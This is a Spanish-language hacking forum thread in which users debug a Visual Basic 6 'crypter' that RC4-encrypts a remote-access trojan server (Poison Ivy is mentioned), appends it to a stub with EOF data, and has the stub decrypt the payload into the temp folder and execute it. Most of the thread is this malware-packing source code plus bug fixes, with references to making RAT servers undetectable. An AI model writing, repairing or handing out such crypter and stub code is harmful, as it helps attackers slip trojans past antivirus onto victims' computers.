Mostrar mensajes previos
Ordenar por
por alexkof Delirios esporádicos
es ke cuando pongo el eof data cuando encripto el server lo deja inservible porfa ayudaaa

Código: Seleccionar todo


Private Sub cmdBrowse_Click()
    ComDlg.ShowOpen
    ComDlg.Filter = "Executable Files (*.exe) | *.exe"
    txtFile.Text = ComDlg.FileName
      
       If Not ComDlg.FileName = vbNullString Then
       txtFile.Text = ComDlg.FileName
       MsgBox "Archivo cargado correctamente!"
       End If
      
End Sub

Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String

If Check1.Value = 1 Then
TheEOF = ReadEOFData(textFile.Text)
End If

    
    
Open txtFile.Text For Binary As #1
    File = Space(LOF(1))
    Get #1, , File
Close


Open App.Path & "\stub.exe" For Binary As #1
    Stub = Space(LOF(1))
    Get #1, , Stub
Close #1

ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave


Open ComDlg.FileName For Binary As #1
    Put #1, , Stub & "##$$##"
    Put #1, , RC4(File, "pass")
Close #1



If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If

MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption


End Sub
Última edición por alexkof el 17 Jul 2009, 09:25, editado 5 veces en total.
[img alt="noproxy"]http://fotocarlos.ifastnet.com/firma/[/img]
por demonio666vip Se conecta desde un manicomio
alexkof escribió: If Check1.Value = 1 Then
Call WriteEOFData(App.Path & "\ComDlg.FileName", Read)
End If
Creo que va asi:

Código: Seleccionar todo

If Check1.Value = 1 Then
Call WriteEOFDdata(ComDlg.FileName, Read)
end if
Imagen
por LuOpP Delirios esporádicos
Exacto, es como dijo Demonio, el ComDlg.FileName ya es el path completo del archivo no solo el nombre final, el app.path se utilixa cuando se keire aceder algun archivo k esta en la misma direccion k el programa por ejemplo imagiante k no das la opcion de elejir el archivo de salida y lo crea como "crypted" pos en ese caso como sabes k el nombre va ser ese y donde va estar pondrias asi:
Call WriteEOFData(App.Path & "\Crypted.exe", Read) ' el "&" lo k hace es concadenar es decir une la ruta donde esta el programa con \Crypted.exe k seria el archivo al k ponerle el eof. Ya ves cuantas cosas se ahorra uno con el ComDlg.FileName
Imagen
por alexkof Delirios esporádicos
nada probe asi y nada y este es el form del stub

Código: Seleccionar todo

Private Sub Form_Load()
Dim File As String
Dim Out As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close #1

Out = Split(File, "##$$##"(1))

Open Environ("tmp") & "\tmp.exe" For Binary As #1
Put #1, , RC4(Out, "pass")
Close #1

Shell Environ("tmp") & "\tmp.exe"
End
End Sub
encriptacion RC4

Código: Seleccionar todo

Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
    Exit Function
End If
If Len(Expression) = 0 Then
    Exit Function
End If
If Len(Password) > 256 Then
    Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
    Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
    RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
    Temp = RB(X)
    RB(X) = RB(Y)
    RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
    Y = (Y + 1) Mod 256
    Z = (Z + RB(Y)) Mod 256
    Temp = RB(Y)
    RB(Y) = RB(Z)
    RB(Z) = Temp
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function
el crypter funciona con el poison normalmente pero cuando le doy activo la casilla del Check1 y se va por alli sale este mensaje Foto
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
[img alt="noproxy"]http://fotocarlos.ifastnet.com/firma/[/img]
por demonio666vip Se conecta desde un manicomio

Código: Seleccionar todo

Private Sub cmdBrowse_Click()
    ComDlg.ShowOpen
    ComDlg.Filter = "Executable Files (*.exe) | *.exe"
    txtFile.Text = ComDlg.FileName
      
       If Not ComDlg.FileName = vbNullString Then
       txtFile.Text = ComDlg.FileName
       MsgBox "Archivo cargado correctamente!"
       End If
      
End Sub

Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String

If Check1.Value = 1 Then
TheEOF = ReadEOFData(ComDlg.FileName)    <<<<<<< Ahi estaba tu error :P  
End If

    
    
Open txtFile.Text For Binary As #1
    File = Space(LOF(1))
    Get #1, , File
Close


Open App.Path & "\stub.exe" For Binary As #1
    Stub = Space(LOF(1))
    Get #1, , Stub
Close #1

ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave


Open ComDlg.FileName For Binary As #1
    Put #1, , Stub & "##$$##"
    Put #1, , RC4(File, "pass")
Close #1



If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If

MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption


End Sub
[/size]

Ahi esta tu error ya corregido...

Suerte!
Imagen
por K-0Z Se conecta desde un manicomio
si no mal recuerdo, en los cripters scan-time no hay necesidad de que tenga la opcion de eof data, salu2
por alexkof Delirios esporádicos
demonio666vip escribió:

Código: Seleccionar todo

Private Sub cmdBrowse_Click()
    ComDlg.ShowOpen
    ComDlg.Filter = "Executable Files (*.exe) | *.exe"
    txtFile.Text = ComDlg.FileName
      
       If Not ComDlg.FileName = vbNullString Then
       txtFile.Text = ComDlg.FileName
       MsgBox "Archivo cargado correctamente!"
       End If
      
End Sub

Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String

If Check1.Value = 1 Then
TheEOF = ReadEOFData(ComDlg.FileName)    <<<<<<< Ahi estaba tu error :P  
End If

    
    
Open txtFile.Text For Binary As #1
    File = Space(LOF(1))
    Get #1, , File
Close


Open App.Path & "\stub.exe" For Binary As #1
    Stub = Space(LOF(1))
    Get #1, , Stub
Close #1

ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave


Open ComDlg.FileName For Binary As #1
    Put #1, , Stub & "##$$##"
    Put #1, , RC4(File, "pass")
Close #1



If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If

MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption


End Sub
[/size]

Ahi esta tu error ya corregido...

Suerte!

nada demonio kito el error del mensaje en vb, pero no agarra por el EofData ,, :S no entiendo porqe ??
porfa si puedes analizar un pokitico el codigo del stub y decirme si esta mal algo (creo ke es x el stub) te lo agradeceria man )

gracias por las respuestas
[img alt="noproxy"]http://fotocarlos.ifastnet.com/firma/[/img]
Temas similares
stub autoit rompe server por vdixsniperzz en Troyanos y Herramientas
intercepting data from dedik por xrahitel en Manuales y Tutoriales
Dejar indetectado server RAT por die595tack067 en Zona de Análisis
Links sobre el tema
Variantes de tema
Responder

Volver a “VB/.NET”